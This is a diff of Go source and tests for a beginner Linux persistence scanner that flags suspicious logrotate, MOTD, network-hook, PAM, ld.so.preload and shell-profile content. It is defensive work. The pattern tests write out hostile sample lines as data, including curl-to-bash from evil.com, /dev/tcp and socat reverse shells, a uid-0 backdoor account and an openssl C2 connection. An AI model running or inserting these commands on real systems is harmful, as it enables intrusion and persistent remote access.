+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+
+		if trimmed == "endscript" {
+			inBlock = false
+			continue
+		}
+
+		for _, hook := range rotateHooks {
+			if trimmed == hook {
+				inBlock = true
+				blockName = hook
+				break
+			}
+		}
+
+		if !inBlock {
+			continue
+		}
+
+		if IsCommentOrEmpty(trimmed) {
+			continue
+		}
+
+		matched, sev, label := MatchLine(trimmed)
+		if matched {
+			findings = append(findings, types.Finding{
+				Scanner:  logrotateScannerName,
+				Severity: sev,
+				Title: "Suspicious logrotate " +
+					blockName + ": " + label,
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitreLogrotate,
+			})
+			continue
+		}
+
+		if containsShellCommand(trimmed) {
+			findings = append(findings, types.Finding{
+				Scanner:  logrotateScannerName,
+				Severity: types.SeverityMedium,
+				Title: "Logrotate " + blockName +
+					" runs shell command",
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitreLogrotate,
+			})
+		}
+	}
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate_test.go

@@ -0,0 +1,58 @@
+/*
+©AngelaMos | 2026
+logrotate_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestLogrotateScanner_CleanConfig(t *testing.T) {
+	l := &LogrotateScanner{}
+	path := filepath.Join(
+		testdataDir(), "logrotate", "clean-syslog",
+	)
+
+	findings := l.scanConfig(path)
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean logrotate config produced %d findings, want 0",
+			len(findings),
+		)
+		for _, f := range findings {
+			t.Logf("  finding: %s (%s)", f.Title, f.Evidence)
+		}
+	}
+}
+
+func TestLogrotateScanner_MaliciousConfig(t *testing.T) {
+	l := &LogrotateScanner{}
+	path := filepath.Join(
+		testdataDir(), "logrotate", "malicious-app",
+	)
+
+	findings := l.scanConfig(path)
+	if len(findings) == 0 {
+		t.Fatal(
+			"malicious logrotate config produced no findings",
+		)
+	}
+
+	hasHigh := false
+	for _, f := range findings {
+		if f.Severity >= types.SeverityHigh {
+			hasHigh = true
+		}
+	}
+
+	if !hasHigh {
+		t.Error(
+			"expected high+ severity for curl|bash in postrotate",
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd.go

@@ -0,0 +1,63 @@
+/*
+©AngelaMos | 2026
+motd.go
+
+Scans MOTD scripts for login-triggered persistence
+
+Checks /etc/update-motd.d/ for scripts that execute as root on
+every SSH or console login. Attackers plant callbacks here because
+the directory is rarely monitored.
+
+MITRE ATT&CK:
+  T1546 - Event Triggered Execution
+*/
+
+package scanner
+
+import (
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	motdScannerName = "motd"
+	mitreMOTD       = "T1546"
+)
+
+func init() {
+	Register(&MOTDScanner{})
+}
+
+type MOTDScanner struct{}
+
+func (m *MOTDScanner) Name() string {
+	return motdScannerName
+}
+
+func (m *MOTDScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	motdDir := ResolveRoot(root, "/etc/update-motd.d")
+	for _, path := range ListFiles(motdDir) {
+		findings = append(
+			findings,
+			ScanFileForPatterns(
+				path, motdScannerName, mitreMOTD,
+			)...,
+		)
+
+		if IsWorldWritable(path) {
+			findings = append(findings, types.Finding{
+				Scanner:  motdScannerName,
+				Severity: types.SeverityMedium,
+				Title:    "World-writable MOTD script",
+				Path:     path,
+				Evidence: "Any user can modify this login script",
+				MITRE:    mitreMOTD,
+			})
+		}
+	}
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd_test.go

@@ -0,0 +1,68 @@
+/*
+©AngelaMos | 2026
+motd_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestMOTDScanner_CleanScript(t *testing.T) {
+	path := filepath.Join(
+		testdataDir(), "motd", "clean-motd",
+	)
+
+	findings := ScanFileForPatterns(
+		path, motdScannerName, mitreMOTD,
+	)
+
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean motd produced %d findings, want 0",
+			len(findings),
+		)
+		for _, f := range findings {
+			t.Logf("  finding: %s (%s)", f.Title, f.Evidence)
+		}
+	}
+}
+
+func TestMOTDScanner_SuspiciousScript(t *testing.T) {
+	path := filepath.Join(
+		testdataDir(), "motd", "suspicious-motd",
+	)
+
+	findings := ScanFileForPatterns(
+		path, motdScannerName, mitreMOTD,
+	)
+
+	if len(findings) < 2 {
+		t.Fatalf(
+			"suspicious motd: got %d findings, want >= 2",
+			len(findings),
+		)
+	}
+
+	hasHigh := false
+	hasMedium := false
+	for _, f := range findings {
+		if f.Severity >= types.SeverityHigh {
+			hasHigh = true
+		}
+		if f.Severity >= types.SeverityMedium {
+			hasMedium = true
+		}
+	}
+
+	if !hasHigh {
+		t.Error("expected high+ severity for curl|bash")
+	}
+	if !hasMedium {
+		t.Error("expected medium+ severity for nohup")
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook.go

@@ -0,0 +1,77 @@
+/*
+©AngelaMos | 2026
+netifhook.go
+
+Scans network interface hook directories for persistence scripts
+
+Checks NetworkManager dispatcher scripts and if-up.d hooks that
+trigger on network state changes. Attackers use these to establish
+C2 callbacks whenever a network interface activates.
+
+MITRE ATT&CK:
+  T1546 - Event Triggered Execution
+*/
+
+package scanner
+
+import (
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	netifhookScannerName = "netifhook"
+	mitreNetifhook       = "T1546"
+)
+
+var netHookDirs = []string{
+	"/etc/NetworkManager/dispatcher.d",
+	"/etc/NetworkManager/dispatcher.d/pre-up.d",
+	"/etc/NetworkManager/dispatcher.d/pre-down.d",
+	"/etc/network/if-up.d",
+	"/etc/network/if-down.d",
+	"/etc/network/if-pre-up.d",
+	"/etc/network/if-post-down.d",
+}
+
+func init() {
+	Register(&NetIfHookScanner{})
+}
+
+type NetIfHookScanner struct{}
+
+func (n *NetIfHookScanner) Name() string {
+	return netifhookScannerName
+}
+
+func (n *NetIfHookScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	for _, dir := range netHookDirs {
+		resolved := ResolveRoot(root, dir)
+		for _, path := range ListFiles(resolved) {
+			findings = append(
+				findings,
+				ScanFileForPatterns(
+					path,
+					netifhookScannerName,
+					mitreNetifhook,
+				)...,
+			)
+
+			if IsWorldWritable(path) {
+				findings = append(findings, types.Finding{
+					Scanner:  netifhookScannerName,
+					Severity: types.SeverityMedium,
+					Title:    "World-writable network hook script",
+					Path:     path,
+					Evidence: "Any user can modify this network hook",
+					MITRE:    mitreNetifhook,
+				})
+			}
+		}
+	}
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook_test.go

@@ -0,0 +1,62 @@
+/*
+©AngelaMos | 2026
+netifhook_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestNetIfHookScanner_CleanHook(t *testing.T) {
+	path := filepath.Join(
+		testdataDir(), "netifhook", "clean-hook",
+	)
+
+	findings := ScanFileForPatterns(
+		path, netifhookScannerName, mitreNetifhook,
+	)
+
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean network hook produced %d findings, want 0",
+			len(findings),
+		)
+		for _, f := range findings {
+			t.Logf("  finding: %s (%s)", f.Title, f.Evidence)
+		}
+	}
+}
+
+func TestNetIfHookScanner_MaliciousHook(t *testing.T) {
+	path := filepath.Join(
+		testdataDir(), "netifhook", "malicious-hook",
+	)
+
+	findings := ScanFileForPatterns(
+		path, netifhookScannerName, mitreNetifhook,
+	)
+
+	if len(findings) == 0 {
+		t.Fatal(
+			"malicious network hook produced no findings",
+		)
+	}
+
+	hasHigh := false
+	for _, f := range findings {
+		if f.Severity >= types.SeverityHigh {
+			hasHigh = true
+		}
+	}
+
+	if !hasHigh {
+		t.Error(
+			"expected high+ severity for wget|sh in network hook",
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam.go

@@ -0,0 +1,107 @@
+/*
+©AngelaMos | 2026
+pam.go
+
+Scans PAM configuration for authentication backdoor indicators
+
+Checks /etc/pam.d/ for pam_exec.so entries that run custom scripts
+and for references to non-standard PAM modules that may accept any
+credential.
+
+MITRE ATT&CK:
+  T1556.003 - Modify Authentication Process: Pluggable Authentication Modules
+*/
+
+package scanner
+
+import (
+	"strings"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	pamScannerName = "pam"
+	mitrePAM       = "T1556.003"
+)
+
+func init() {
+	Register(&PAMScanner{})
+}
+
+type PAMScanner struct{}
+
+func (p *PAMScanner) Name() string {
+	return pamScannerName
+}
+
+func (p *PAMScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	pamD := ResolveRoot(root, "/etc/pam.d")
+	for _, path := range ListFiles(pamD) {
+		findings = append(
+			findings,
+			p.scanPamConfig(path)...,
+		)
+	}
+
+	return findings
+}
+
+func (p *PAMScanner) scanPamConfig(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		if IsCommentOrEmpty(trimmed) {
+			continue
+		}
+
+		if strings.Contains(trimmed, "pam_exec.so") {
+			sev := types.SeverityMedium
+			if NetworkToolPattern.MatchString(trimmed) ||
+				TempDirPattern.MatchString(trimmed) {
+				sev = types.SeverityHigh
+			}
+
+			findings = append(findings, types.Finding{
+				Scanner:  pamScannerName,
+				Severity: sev,
+				Title:    "pam_exec.so runs external command",
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitrePAM,
+			})
+		}
+
+		if strings.Contains(trimmed, "pam_permit.so") &&
+			containsAuthContext(trimmed) {
+			findings = append(findings, types.Finding{
+				Scanner:  pamScannerName,
+				Severity: types.SeverityHigh,
+				Title:    "pam_permit.so in auth context (accepts any credential)",
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitrePAM,
+			})
+		}
+	}
+	return findings
+}
+
+func containsAuthContext(line string) bool {
+	fields := strings.Fields(line)
+	if len(fields) < 1 {
+		return false
+	}
+	return fields[0] == "auth"
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam_test.go

@@ -0,0 +1,127 @@
+/*
+©AngelaMos | 2026
+pam_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestPAMScanner_BackdoorConfig(t *testing.T) {
+	p := &PAMScanner{}
+	path := filepath.Join(
+		testdataDir(), "pam", "backdoor-pam",
+	)
+
+	findings := p.scanPamConfig(path)
+	if len(findings) == 0 {
+		t.Fatal("backdoor pam config produced no findings")
+	}
+
+	hasPermit := false
+	for _, f := range findings {
+		if f.Severity == types.SeverityHigh &&
+			f.Title == "pam_permit.so in auth context "+
+				"(accepts any credential)" {
+			hasPermit = true
+		}
+	}
+
+	if !hasPermit {
+		t.Error(
+			"expected high severity for pam_permit.so in auth",
+		)
+	}
+}
+
+func TestPAMScanner_CleanConfig(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "clean-pam")
+	writeTestFile(
+		t, path,
+		"auth required pam_unix.so\n"+
+			"account required pam_unix.so\n",
+	)
+
+	p := &PAMScanner{}
+	findings := p.scanPamConfig(path)
+
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean pam config produced %d findings, want 0",
+			len(findings),
+		)
+		for _, f := range findings {
+			t.Logf("  finding: %s (%s)", f.Title, f.Evidence)
+		}
+	}
+}
+
+func TestPAMScanner_PamExec(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "pam-exec")
+	writeTestFile(
+		t, path,
+		"auth optional pam_exec.so /tmp/.hidden/hook\n",
+	)
+
+	p := &PAMScanner{}
+	findings := p.scanPamConfig(path)
+
+	if len(findings) == 0 {
+		t.Fatal("pam_exec.so with tmp path produced no findings")
+	}
+
+	if findings[0].Severity != types.SeverityHigh {
+		t.Errorf(
+			"severity = %v, want high",
+			findings[0].Severity,
+		)
+	}
+}
+
+func TestContainsAuthContext(t *testing.T) {
+	tests := []struct {
+		name string
+		line string
+		want bool
+	}{
+		{
+			name: "auth line",
+			line: "auth required pam_unix.so",
+			want: true,
+		},
+		{
+			name: "account line",
+			line: "account required pam_unix.so",
+			want: false,
+		},
+		{
+			name: "session line",
+			line: "session optional pam_motd.so",
+			want: false,
+		},
+		{
+			name: "empty",
+			line: "",
+			want: false,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := containsAuthContext(tt.line)
+			if got != tt.want {
+				t.Errorf(
+					"containsAuthContext(%q) = %v, want %v",
+					tt.line, got, tt.want,
+				)
+			}
+		})
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns.go

@@ -0,0 +1,148 @@
+/*
+©AngelaMos | 2026
+patterns.go
+
+Compiled regular expressions for detecting suspicious persistence content
+
+Centralizes all pattern matching used across scanner modules so each
+scanner does not duplicate regex compilation. Patterns cover network
+tool invocations, encoding/obfuscation, reverse shell signatures,
+temporary directory references, and alias hijacking.
+*/
+
+package scanner
+
+import (
+	"regexp"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+var NetworkToolPattern = regexp.MustCompile(
+	`\b(curl|wget|nc|ncat|nmap|socat)\b`,
+)
+
+var DownloadExecPattern = regexp.MustCompile(
+	`(curl|wget)\s+.*\|\s*(bash|sh|zsh|dash)` +
+		`|` +
+		`(curl|wget)\s+.*-o\s+/tmp/`,
+)
+
+var EncodingPattern = regexp.MustCompile(
+	`\b(base64\s+-d|base64\s+--decode|xxd\s+-r|openssl\s+enc)\b` +
+		`|` +
+		`\becho\s+[A-Za-z0-9+/=]{20,}\s*\|`,
+)
+
+var ReverseShellPattern = regexp.MustCompile(
+	`/dev/tcp/` +
+		`|` +
+		`\bmkfifo\b.*\bnc\b` +
+		`|` +
+		`\bsocat\b.*\bexec\b` +
+		`|` +
+		`python[23]?\s+-c\s+.*socket` +
+		`|` +
+		`perl\s+-e\s+.*socket` +
+		`|` +
+		`ruby\s+-rsocket`,
+)
+
+var TempDirPattern = regexp.MustCompile(
+	`(/tmp/|/dev/shm/|/var/tmp/)`,
+)
+
+var ScriptLangPattern = regexp.MustCompile(
+	`\b(python[23]?|perl|ruby)\s+-[ce]\b`,
+)
+
+var AliasHijackPattern = regexp.MustCompile(
+	`alias\s+(sudo|su|ssh|ls|cat|id|whoami|passwd)\s*=`,
+)
+
+var LDPreloadPattern = regexp.MustCompile(
+	`\b(LD_PRELOAD|LD_LIBRARY_PATH)\s*=`,
+)
+
+var PathManipPattern = regexp.MustCompile(
+	`\bPATH\s*=\s*["']?(/tmp|/dev/shm|/var/tmp)`,
+)
+
+var NohupPattern = regexp.MustCompile(
+	`\bnohup\b.*&` +
+		`|` +
+		`&\s*disown`,
+)
+
+var EvalExecPattern = regexp.MustCompile(
+	`\b(eval|exec)\s+["']?\$\(.*(curl|wget|nc|base64)`,
+)
+
+var SuidPattern = regexp.MustCompile(
+	`chmod\s+[ugo]*\+s\b` +
+		`|` +
+		`chmod\s+[247][0-7]{3}\b`,
+)
+
+var AccountCreatePattern = regexp.MustCompile(
+	`\b(useradd|adduser|usermod)\b`,
+)
+
+var ImmutablePattern = regexp.MustCompile(
+	`\bchattr\s+[+-]i\b`,
+)
+
+var PersistenceInstallPattern = regexp.MustCompile(
+	`\bsystemctl\s+(enable|daemon-reload)\b` +
+		`|` +
+		`\bcrontab\s+-[le]\b`,
+)
+
+var EncryptedC2Pattern = regexp.MustCompile(
+	`\bopenssl\s+s_client\b`,
+)
+
+type PatternMatch struct {
+	Pattern  *regexp.Regexp
+	Severity types.Severity
+	Label    string
+}
+
+var SuspiciousPatterns = []PatternMatch{
+	{ReverseShellPattern, types.SeverityCritical, "reverse shell pattern"},
+	{DownloadExecPattern, types.SeverityHigh, "download-and-execute chain"},
+	{EncodingPattern, types.SeverityHigh, "encoded/obfuscated payload"},
+	{NetworkToolPattern, types.SeverityMedium, "network tool invocation"},
+	{ScriptLangPattern, types.SeverityMedium, "inline script execution"},
+	{TempDirPattern, types.SeverityMedium, "temporary directory reference"},
+	{AliasHijackPattern, types.SeverityHigh, "alias hijacking"},
+	{LDPreloadPattern, types.SeverityCritical, "LD_PRELOAD manipulation"},
+	{PathManipPattern, types.SeverityHigh, "PATH manipulation to temp dir"},
+	{NohupPattern, types.SeverityMedium, "background process launch"},
+	{EvalExecPattern, types.SeverityHigh, "dynamic eval/exec"},
+	{SuidPattern, types.SeverityCritical, "SUID bit manipulation"},
+	{AccountCreatePattern, types.SeverityHigh, "account creation/modification"},
+	{ImmutablePattern, types.SeverityHigh, "file attribute manipulation"},
+	{
+		PersistenceInstallPattern,
+		types.SeverityMedium,
+		"persistence self-installation",
+	},
+	{EncryptedC2Pattern, types.SeverityHigh, "encrypted C2 channel"},
+}
+
+func MatchLine(
+	line string,
+) (matched bool, sev types.Severity, label string) {
+	best := types.SeverityInfo
+	for _, p := range SuspiciousPatterns {
+		if p.Pattern.MatchString(line) {
+			if !matched || p.Severity > best {
+				best = p.Severity
+				label = p.Label
+			}
+			matched = true
+		}
+	}
+	return matched, best, label
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns_test.go

@@ -0,0 +1,194 @@
+/*
+©AngelaMos | 2026
+patterns_test.go
+*/
+
+package scanner
+
+import (
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestMatchLine(t *testing.T) {
+	tests := []struct {
+		name    string
+		line    string
+		wantHit bool
+		wantSev types.Severity
+		wantLbl string
+	}{
+		{
+			name:    "clean line",
+			line:    "/usr/sbin/sshd -D",
+			wantHit: false,
+		},
+		{
+			name:    "curl pipe bash",
+			line:    "curl http://evil.com/x | bash",
+			wantHit: true,
+			wantSev: types.SeverityHigh,
+			wantLbl: "download-and-execute chain",
+		},
+		{
+			name:    "wget pipe sh",
+			line:    "wget -qO- http://evil.com/x | sh",
+			wantHit: true,
+			wantSev: types.SeverityHigh,
+			wantLbl: "download-and-execute chain",
+		},
+		{
+			name:    "base64 decode",
+			line:    "echo dGVzdA== | base64 -d | sh",
+			wantHit: true,
+			wantSev: types.SeverityHigh,
+			wantLbl: "encoded/obfuscated payload",
+		},
+		{
+			name:    "reverse shell dev tcp",
+			line:    "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
+			wantHit: true,
+			wantSev: types.SeverityCritical,
+			wantLbl: "reverse shell pattern",
+		},
+		{
+			name:    "socat reverse shell",
+			line:    "socat exec:'bash -li',pty TCP:10.0.0.1:4444",
+			wantHit: true,
+			wantSev: types.SeverityCritical,
+			wantLbl: "reverse shell pattern",
+		},
+		{
+			name:    "temp dir reference",
+			line:    "/tmp/.hidden/payload",
+			wantHit: true,
+			wantSev: types.SeverityMedium,
+			wantLbl: "temporary directory reference",
+		},
+		{
+			name:    "dev shm reference",
+			line:    "/dev/shm/.evil.so",
+			wantHit: true,
+			wantSev: types.SeverityMedium,
+			wantLbl: "temporary directory reference",
+		},
+		{
+			name:    "alias hijack",
+			line:    "alias sudo='/tmp/keylog && sudo'",
+			wantHit: true,
+			wantSev: types.SeverityHigh,
+			wantLbl: "alias hijacking",
+		},
+		{
+			name:    "LD_PRELOAD export",
+			line:    "export LD_PRELOAD=/dev/shm/.evil.so",
+			wantHit: true,
+			wantSev: types.SeverityCritical,
+			wantLbl: "LD_PRELOAD manipulation",
+		},
+		{
+			name:    "nohup background",
+			line:    "nohup /tmp/.hidden/beacon &",
+			wantHit: true,
+			wantSev: types.SeverityMedium,
+		},
+		{
+			name:    "python socket",
+			line:    "python3 -c 'import socket'",
+			wantHit: true,
+			wantSev: types.SeverityCritical,
+			wantLbl: "reverse shell pattern",
+		},
+		{
+			name:    "PATH to tmp",
+			line:    "PATH=/tmp/evil:$PATH",
+			wantHit: true,
+			wantSev: types.SeverityHigh,
+			wantLbl: "PATH manipulation to temp dir",
+		},
+		{
+			name:    "normal path export",
+			line:    "export PATH=/usr/local/bin:$PATH",
+			wantHit: false,
+		},
+		{
+			name:    "comment with keyword",
+			line:    "# curl http://example.com",
+			wantHit: true,
+			wantSev: types.SeverityMedium,
+			wantLbl: "network tool invocation",
+		},
+		{
+			name:    "chmod suid",
+			line:    "chmod u+s /tmp/.hidden/shell",
+			wantHit: true,
+			wantSev: types.SeverityCritical,
+			wantLbl: "SUID bit manipulation",
+		},
+		{
+			name:    "chmod numeric suid",
+			line:    "chmod 4755 /usr/local/bin/backdoor",
+			wantHit: true,
+			wantSev: types.SeverityCritical,
+			wantLbl: "SUID bit manipulation",
+		},
+		{
+			name:    "useradd backdoor",
+			line:    "useradd -o -u 0 -g root backdoor",
+			wantHit: true,
+			wantSev: types.SeverityHigh,
+			wantLbl: "account creation/modification",
+		},
+		{
+			name:    "chattr immutable",
+			line:    "chattr +i /etc/resolv.conf",
+			wantHit: true,
+			wantSev: types.SeverityHigh,
+			wantLbl: "file attribute manipulation",
+		},
+		{
+			name:    "systemctl enable persistence",
+			line:    "systemctl enable backdoor.service",
+			wantHit: true,
+			wantSev: types.SeverityMedium,
+			wantLbl: "persistence self-installation",
+		},
+		{
+			name:    "openssl c2 channel",
+			line:    "openssl s_client -connect c2.evil.com:443",
+			wantHit: true,
+			wantSev: types.SeverityHigh,
+			wantLbl: "encrypted C2 channel",
+		},
+		{
+			name:    "normal chmod",
+			line:    "chmod 755 /usr/local/bin/app",
+			wantHit: false,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			hit, sev, lbl := MatchLine(tt.line)
+			if hit != tt.wantHit {
+				t.Errorf(
+					"MatchLine(%q) hit = %v, want %v",
+					tt.line, hit, tt.wantHit,
+				)
+			}
+			if tt.wantHit && sev < tt.wantSev {
+				t.Errorf(
+					"MatchLine(%q) sev = %v, want >= %v",
+					tt.line, sev, tt.wantSev,
+				)
+			}
+			if tt.wantLbl != "" && lbl != tt.wantLbl {
+				t.Errorf(
+					"MatchLine(%q) label = %q, want %q",
+					tt.line, lbl, tt.wantLbl,
+				)
+			}
+		})
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload.go

@@ -0,0 +1,146 @@
+/*
+©AngelaMos | 2026
+preload.go
+
+Scans for LD_PRELOAD and dynamic linker hijacking persistence
+
+Checks /etc/ld.so.preload for entries (almost never legitimate),
+scans /etc/ld.so.conf.d/ for libraries in suspicious paths, and
+looks for LD_PRELOAD exports in /etc/environment.
+
+MITRE ATT&CK:
+  T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking
+*/
+
+package scanner
+
+import (
+	"strings"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	preloadScannerName = "ld_preload"
+	mitrePreload       = "T1574.006"
+)
+
+func init() {
+	Register(&PreloadScanner{})
+}
+
+type PreloadScanner struct{}
+
+func (p *PreloadScanner) Name() string {
+	return preloadScannerName
+}
+
+func (p *PreloadScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	preload := ResolveRoot(root, "/etc/ld.so.preload")
+	findings = append(
+		findings,
+		p.scanPreloadFile(preload)...,
+	)
+
+	confD := ResolveRoot(root, "/etc/ld.so.conf.d")
+	for _, path := range ListFiles(confD) {
+		findings = append(
+			findings,
+			p.scanConfFile(path)...,
+		)
+	}
+
+	envFile := ResolveRoot(root, "/etc/environment")
+	findings = append(
+		findings,
+		p.scanEnvironment(envFile)...,
+	)
+
+	return findings
+}
+
+func (p *PreloadScanner) scanPreloadFile(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		if trimmed == "" || strings.HasPrefix(trimmed, "#") {
+			continue
+		}
+
+		sev := types.SeverityHigh
+		if TempDirPattern.MatchString(trimmed) {
+			sev = types.SeverityCritical
+		}
+
+		findings = append(findings, types.Finding{
+			Scanner:  preloadScannerName,
+			Severity: sev,
+			Title:    "Library in ld.so.preload",
+			Path:     path,
+			Evidence: trimmed,
+			MITRE:    mitrePreload,
+		})
+	}
+	return findings
+}
+
+func (p *PreloadScanner) scanConfFile(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	var findings []types.Finding
+
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		if IsCommentOrEmpty(trimmed) {
+			continue
+		}
+
+		if TempDirPattern.MatchString(trimmed) {
+			findings = append(findings, types.Finding{
+				Scanner:  preloadScannerName,
+				Severity: types.SeverityHigh,
+				Title:    "Library path in temp directory",
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitrePreload,
+			})
+		}
+	}
+	return findings
+}
+
+func (p *PreloadScanner) scanEnvironment(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	for _, line := range lines {
+		if LDPreloadPattern.MatchString(line) {
+			findings = append(findings, types.Finding{
+				Scanner:  preloadScannerName,
+				Severity: types.SeverityCritical,
+				Title:    "LD_PRELOAD in /etc/environment",
+				Path:     path,
+				Evidence: strings.TrimSpace(line),
+				MITRE:    mitrePreload,
+			})
+		}
+	}
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload_test.go

@@ -0,0 +1,51 @@
+/*
+©AngelaMos | 2026
+preload_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestPreloadScanner_NonEmpty(t *testing.T) {
+	p := &PreloadScanner{}
+	path := filepath.Join(
+		testdataDir(), "preload", "ld.so.preload",
+	)
+
+	findings := p.scanPreloadFile(path)
+	if len(findings) == 0 {
+		t.Fatal("ld.so.preload with entry produced no findings")
+	}
+
+	if findings[0].Severity != types.SeverityCritical {
+		t.Errorf(
+			"severity = %v, want critical",
+			findings[0].Severity,
+		)
+	}
+}
+
+func TestPreloadScanner_Environment(t *testing.T) {
+	p := &PreloadScanner{}
+	path := filepath.Join(
+		testdataDir(), "preload", "environment",
+	)
+
+	findings := p.scanEnvironment(path)
+	if len(findings) == 0 {
+		t.Fatal("environment with LD_PRELOAD produced no findings")
+	}
+
+	if findings[0].Severity != types.SeverityCritical {
+		t.Errorf(
+			"severity = %v, want critical",
+			findings[0].Severity,
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile.go

@@ -0,0 +1,94 @@
+/*
+©AngelaMos | 2026
+profile.go
+
+Scans shell initialization files for injected persistence commands
+
+Checks system-wide and per-user shell RC files (bash, zsh, profile)
+for suspicious patterns: network callbacks, encoded payloads, alias
+hijacking, PATH manipulation, LD_PRELOAD exports, and background
+process launchers.
+
+MITRE ATT&CK:
+  T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	profileScannerName = "profile"
+	mitreProfile       = "T1546.004"
+)
+
+var systemProfiles = []string{
+	"/etc/profile",
+	"/etc/bash.bashrc",
+	"/etc/zsh/zshrc",
+	"/etc/zsh/zprofile",
+}
+
+var userProfileFiles = []string{
+	".bashrc",
+	".bash_profile",
+	".bash_login",
+	".bash_logout",
+	".profile",
+	".zshrc",
+	".zprofile",
+}
+
+func init() {
+	Register(&ProfileScanner{})
+}
+
+type ProfileScanner struct{}
+
+func (p *ProfileScanner) Name() string {
+	return profileScannerName
+}
+
+func (p *ProfileScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	for _, path := range systemProfiles {
+		resolved := ResolveRoot(root, path)
+		findings = append(
+			findings,
+			ScanFileForPatterns(
+				resolved, profileScannerName, mitreProfile,
+			)...,
+		)
+	}
+
+	profileD := ResolveRoot(root, "/etc/profile.d")
+	for _, path := range ListFiles(profileD) {
+		findings = append(
+			findings,
+			ScanFileForPatterns(
+				path, profileScannerName, mitreProfile,
+			)...,
+		)
+	}
+
+	for _, home := range FindUserDirs(root) {
+		for _, name := range userProfileFiles {
+			path := filepath.Join(home, name)
+			findings = append(
+				findings,
+				ScanFileForPatterns(
+					path, profileScannerName, mitreProfile,
+				)...,
+			)
+		}
+	}
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile_test.go

@@ -0,0 +1,66 @@
+/*
+©AngelaMos | 2026
+profile_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestProfileScanner_CleanBashrc(t *testing.T) {
+	path := filepath.Join(
+		testdataDir(), "profiles", "clean-bashrc",
+	)
+	findings := ScanFileForPatterns(
+		path, profileScannerName, mitreProfile,
+	)
+
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean bashrc produced %d findings, want 0",
+			len(findings),
+		)
+		for _, f := range findings {
+			t.Logf("  finding: %s (%s)", f.Title, f.Evidence)
+		}
+	}
+}
+
+func TestProfileScanner_InjectedBashrc(t *testing.T) {
+	path := filepath.Join(
+		testdataDir(), "profiles", "injected-bashrc",
+	)
+	findings := ScanFileForPatterns(
+		path, profileScannerName, mitreProfile,
+	)
+
+	if len(findings) < 3 {
+		t.Fatalf(
